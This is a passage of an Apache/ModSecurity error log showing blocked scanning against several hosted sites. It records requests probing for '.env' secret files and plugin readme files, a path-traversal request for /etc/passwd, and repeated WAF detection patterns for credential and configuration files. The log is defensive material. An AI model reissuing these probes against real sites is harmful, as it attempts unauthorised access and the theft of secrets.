18:12:58.832869 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.26:28628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:58.840041 2026] [security2:error] [pid 531797:tid 531943] [remote 17.22.237.246:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCsTA7b1mZrmcA-88FwACKE8"] [Sat Jun 13 18:12:58.866183 2026] [security2:error] [pid 531797:tid 531945] [remote 17.22.237.212:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 212.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCsTA7b1mZrmcA-88GgACkVE"] [Sat Jun 13 18:12:58.921137 2026] [security2:error] [pid 531155:tid 531376] [client 103.153.183.69:55892] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.Env"] [unique_id "ai3yCimiP80klyS0NnoIWwAAAWU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:58.999028 2026] [security2:error] [pid 531155:tid 531351] [client 103.153.183.69:55906] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/./.Env"] [unique_id "ai3yCimiP80klyS0NnoIXgAAAUw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.078084 2026] [security2:error] [pid 531797:tid 532045] [client 103.153.183.69:55918] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.Env"] [unique_id "ai3yC8TA7b1mZrmcA-88HwAAAkQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.131121 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:12:59.131573 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:12:59.229339 2026] [security2:error] [pid 531797:tid 532048] [client 103.153.183.69:55918] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yC8TA7b1mZrmcA-88JAAAAkY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.306326 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.27:53924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:59.306787 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.27:53924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:59.307895 2026] [security2:error] [pid 531797:tid 532067] [client 103.153.183.69:55924] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yC8TA7b1mZrmcA-88KAAAAlk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.334508 2026] [security2:error] [pid 531797:tid 532056] [client 103.153.183.69:55924] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yC8TA7b1mZrmcA-88LAAAAk4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.387979 2026] [security2:error] [pid 531797:tid 532087] [client 103.153.183.69:55924] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yC8TA7b1mZrmcA-88MAAAAm0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.415061 2026] [security2:error] [pid 531797:tid 532097] [client 103.153.183.69:55924] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yC8TA7b1mZrmcA-88MQAAAnY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.441119 2026] [security2:error] [pid 531797:tid 532092] [client 103.153.183.69:55924] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yC8TA7b1mZrmcA-88NAAAAnE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.548074 2026] [security2:error] [pid 531155:tid 531289] [client 103.153.183.69:55932] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.env%3f"] [unique_id "ai3yCymiP80klyS0NnoIbwAAAQ4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:59.556331 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.72:33473] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:59.556606 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.72:33473] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:59.606283 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= [Sat Jun 13 18:12:59.606565 2026] [access_compat:error] [pid 531155:tid 531205] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvcG93ZXI= [Sat Jun 13 18:12:59.732600 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.62:58794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:59.732886 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.62:58794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:59.883768 2026] [security2:error] [pid 531155:tid 531221] [remote 17.241.219.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCymiP80klyS0NnoIfAABfEE"] [Sat Jun 13 18:12:59.929282 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.11:49217] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:59.929750 2026] [access_compat:error] [pid 531155:tid 531215] [remote 57.141.14.11:49217] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:00.004226 2026] [security2:error] [pid 531155:tid 531210] [remote 17.22.253.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yCymiP80klyS0NnoIgwABVDY"] [Sat Jun 13 18:13:00.037502 2026] [security2:error] [pid 531797:tid 531872] [remote 17.246.15.232:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yDMTA7b1mZrmcA-88RAACPAg"] [Sat Jun 13 18:13:00.095389 2026] [security2:error] [pid 531155:tid 531394] [client 103.153.183.69:55946] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yDCmiP80klyS0NnoIiwAAAXc"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.121822 2026] [security2:error] [pid 531155:tid 531308] [client 103.153.183.69:55946] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./.env"] [unique_id "ai3yDCmiP80klyS0NnoIjAAAASE"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.146064 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:13:00.146385 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:13:00.166268 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.111:55418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:00.166758 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.111:55418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:00.200979 2026] [security2:error] [pid 531155:tid 531301] [client 103.153.183.69:55952] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yDCmiP80klyS0NnoIjwAAARo"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.254129 2026] [security2:error] [pid 531155:tid 531367] [client 103.153.183.69:55952] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yDCmiP80klyS0NnoIkwAAAVw"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.281144 2026] [security2:error] [pid 531155:tid 531410] [client 103.153.183.69:55952] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yDCmiP80klyS0NnoIlQAAAYc"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.282298 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.12:61972] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:00.282612 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.12:61972] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:00.308404 2026] [security2:error] [pid 531155:tid 531365] [client 103.153.183.69:55952] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env"] [unique_id "ai3yDCmiP80klyS0NnoIlgAAAVo"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.361365 2026] [security2:error] [pid 531155:tid 531362] [client 103.153.183.69:55952] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/.env.php"] [unique_id "ai3yDCmiP80klyS0NnoImgAAAVc"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.439288 2026] [security2:error] [pid 531155:tid 531325] [client 103.153.183.69:55968] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "smartagrico.com"] [uri "/wp-content/plugins/backup-backup/readme.txt"] [unique_id "ai3yDCmiP80klyS0NnoInQAAATI"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.440896 2026] [security2:error] [pid 531155:tid 531401] [client 103.153.183.69:55990] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "smartagrico.com"] [uri "/wp-content/plugins/breeze/readme.txt"] [unique_id "ai3yDCmiP80klyS0NnoInwAAAX4"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.441050 2026] [security2:error] [pid 531155:tid 531297] [client 103.153.183.69:56002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/wp-content/plugins/wp-automatic/inc/csv.php"] [unique_id "ai3yDCmiP80klyS0NnoIngAAARY"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.442551 2026] [security2:error] [pid 531155:tid 531382] [client 103.153.183.69:55982] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "smartagrico.com"] [uri "/wp-content/plugins/litespeed-cache/readme.txt"] [unique_id "ai3yDCmiP80klyS0NnoIoQAAAWs"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.500892 2026] [security2:error] [pid 531155:tid 531283] [remote 17.246.19.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yDCmiP80klyS0NnoIpQABYH8"] [Sat Jun 13 18:13:00.522618 2026] [security2:error] [pid 531155:tid 531334] [client 103.153.183.69:56050] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/wp-content/plugins/wp-automatic/inc/csv.php"] [unique_id "ai3yDCmiP80klyS0NnoIqQAAATs"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.568873 2026] [security2:error] [pid 531155:tid 531331] [client 172.56.168.133:25089] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yDCmiP80klyS0NnoIqwAAATg"] [Sat Jun 13 18:13:00.569015 2026] [security2:error] [pid 531155:tid 531331] [client 172.56.168.133:25089] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yDCmiP80klyS0NnoIqwAAATg"] [Sat Jun 13 18:13:00.581719 2026] [security2:error] [pid 531155:tid 531385] [client 103.153.183.69:55986] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/wp-content/themes/wp-emperor12/js/prettify.js"] [unique_id "ai3yDCmiP80klyS0NnoIrAAAAW4"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.589626 2026] [security2:error] [pid 531155:tid 531302] [client 103.153.183.69:56004] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "smartagrico.com"] [uri "/wp-content/plugins/essential-addons-for-elementor-lite/readme.txt"] [unique_id "ai3yDCmiP80klyS0NnoIrwAAARs"], referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.620766 2026] [core:error] [pid 531155:tid 531324] [client 103.153.183.69:56054] AH10244: invalid URI path (https://smartagrico.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd), referer: https://smartagrico.com/ [Sat Jun 13 18:13:00.710106 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 